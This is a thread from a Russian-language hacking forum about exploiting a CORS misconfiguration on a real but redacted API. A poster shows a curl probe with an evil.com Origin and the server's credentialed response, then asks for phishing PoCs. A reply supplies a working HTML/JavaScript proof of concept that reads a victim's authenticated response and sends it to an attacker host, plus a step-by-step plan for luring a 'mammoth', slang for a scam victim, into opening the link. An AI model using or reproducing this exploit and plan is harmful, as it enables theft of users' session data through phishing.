• XSS.stack #1 – первый литературный журнал от юзеров форума

Помощь с эксплуатацией CORS-уязвимости (сервер подставляет любой Origin + куки)

Kick Buttowski

HDD-drive
Пользователь
Регистрация
27.05.2023
Сообщения
24
Реакции
2
Всех приветствую.

Ребята, нашел довольно таки серьезную уязвимость на одном из тестируемых мною сайтов.

  1. Сервер принимает любой Origin и возвращает его в Access-Control-Allow-Origin, даже для авторизованных запросов.
  2. Куки передаются (Allow-Credentials: true), но API падает с 500 ошибкой.
Команда, выявляющая проблему:
curl -H "Origin: https://evil.com" -X OPTIONS "https://api.******"

D:\staffwiki_audit>curl -k -H "Origin: https://evil.com" -X OPTIONS "https://api.******" -I
HTTP/1.1 500 Internal Server Error
access-control-allow-credentials: true
access-control-allow-origin: https://evil.com
content-length: 66
content-type: application/json
date: Sat, 19 Jul 2025 12:24:50 GMT
server: envoy
vary: Origin
x-envoy-upstream-service-time: 2


  1. Какие еще endpoints можно проверить?
  2. Как обойти 500 ошибки (может, другие методы или заголовки)?
  3. Есть ли опыт фишинговых PoC для таких кейсов?
Может, кто-то сталкивался? Благодарю за помощь!
 
Вообще зависит сильно от функционала сайта, ты можешь вызвать любой пользовательский метод доступный в приложении при нескольких условиях:
1. Сессия приложения хранится именно в куки
2. Пользователь перейдет по предоставленной тобой ссылке

Небольшой PoC который собирает ответ от вызванного тобой метода, подрезал отсюда (https://infosecwriteups.com/exploiting-cors-misconfigurations-ffb538698600):
HTML:
<html>
<head>
<script>
    const victim = 'https://vulnerable.com'
    const attacker = 'https://attacker.com' // https://app[.]interactsh[.]com/#/ тут получить можешь
 
    // делаешь запрос на уязвимый сайт
    let req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', victim, true);
    req.withCredentials = true;
    req.send();

    // получаешь ответ от уязвимого сайта, и отправляешь ответ себе на сервер
    function reqListener() {
        var data = encodeURIComponent(this.response)
        fetch(`${attacker}/log?key=${data}`, {
            method: "GET",
        })
    };
</script>
</head>
<body>
</body>
</html>

Теория выглядит так:
1. Регаешь учетку и в уязвимом приложении проверяшь что сессия хранится в cookie
2. Со своей учетки делаешь то что хочешь сделать с сессии пользователя котого ты ломаешь и сохраняешь все запросы
3. Автоматизируешь этап 2 через PoC и заливаешь на сайт (просто прогаешь запросы из пункта 2 через JS)
4. Отправляешь линк на свой сайт мамонтенку
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх